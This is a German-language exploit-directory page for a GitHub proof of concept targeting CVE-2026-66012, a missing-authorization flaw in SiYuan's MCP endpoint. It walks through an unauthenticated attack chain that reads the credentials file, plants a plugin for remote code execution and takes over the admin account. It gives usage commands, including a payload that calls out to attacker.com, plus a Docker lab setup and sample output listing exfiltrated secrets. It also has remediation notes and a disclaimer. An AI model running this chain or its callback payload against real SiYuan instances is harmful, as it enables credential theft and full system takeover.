Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Nicht authentifizierter Exploit zur Übernahme des Administratorkontos für CVE-2026-66012, der eine fehlende Autorisierung in MCP ausnutzt, um Anmeldedaten zu exfiltrieren und Remote-Codeausführung zu erreichen. | Kitploit
Tools/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Authentifizierung & AutorisierungPrivilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Nicht authentifizierter Exploit zur Übernahme des Administratorkontos für CVE-2026-66012, der eine fehlende Autorisierung in MCP ausnutzt, um Anmeldedaten zu exfiltrieren und Remote-Codeausführung zu erreichen.

Repository anzeigen
14vor 1 MonatNoch nicht geprüft

CVE-2026-66012 — SiYuan MCP: Administratorübernahme ohne Authentifizierung

Proof of Concept für CVE-2026-66012 (CVSS 10.0 Kritisch), eine Schwachstelle mit fehlender Autorisierung im MCP-Endpunkt (Model Context Protocol) von SiYuan, die es einem nicht authentifizierten Angreifer ermöglicht, die Kontrolle über den Administrator zu übernehmen und Remote-Code-Ausführung zu erlangen, wenn der Publish-Server im anonymen Modus aktiviert ist.

Zusammenfassung der Schwachstelle

FeldWert
CVECVE-2026-66012
CVSS 3.110.0 Kritisch
CWECWE-862 — Fehlende Autorisierung
BetroffenSiYuan < v3.7.2
Behobenv3.7.2 (Commit df51c2bda696)
Gemeldet vonNguyen Van Hiep (@hypnguyen1209), MBBank

Grundursache

Drei Schwachstellen bilden zusammen die Angriffskette:

  1. POST /mcp ist nur mit model.CheckAuth registriert — ohne CheckAdminRole oder CheckReadonly. Jedes gültige JWT (auch mit Reader-Berechtigung) kann alle 31 MCP-Tools aufrufen.
  2. Der Tool-Dispatcher (handler.go) ruft die Tools auf, ohne die Rolle des Aufrufers zu prüfen.
  3. Der Publish-Reverse-Proxy fügt jeder Anfrage ein anonymes RoleReader-JWT hinzu, wenn Publish.Auth.Enable=false gesetzt ist, und macht aus dem Fehler der fehlenden Autorisierung einen unauthentifizierten.

Angriffskette

  1. MCP-Handshake über POST /mcp auf dem Publish-Port (ohne Anmeldedaten)
  2. conf/conf.json lesen → accessAuthCode, api.token, cookieKey extrahieren
  3. Plugin platzieren unter data/plugins/pwn/ → RCE beim nächsten Desktop-Start über nodeIntegration:true
  4. Admin-Login auf Port 6806 mit dem gestohlenen accessAuthCode

Voraussetzungen

  • Python 3.8+
  • requests-Bibliothek (pip install requests)
  • Docker 20.10+ (nur für den Laboraufbau)

Verwendung

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Laboraufbau

Nur für autorisierte Tests. Richten Sie eine verwundbare Instanz lokal ein:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Erwartete Ausgabe

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Behebung

Aktualisieren Sie auf SiYuan v3.7.2 oder neuer. Der Fix (Commit df51c2bda696) umfasst:

  1. CheckAdminRole- und CheckReadonly-Middleware auf der /mcp-Route
  2. Explizite Blockierung des Zugriffs auf conf/conf.json im Datei-Tool
  3. Allowlisting der Publish-Proxy-Pfade (Admin-Pfade geben für anonyme Benutzer 401 zurück)

Referenzen

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Fix-Commit df51c2bd
  • VulnCheck Advisory

Haftungsausschluss

Dieses PoC dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist illegal. Die Autoren sind nicht für einen Missbrauch dieses Codes verantwortlich.

Tool herunterladen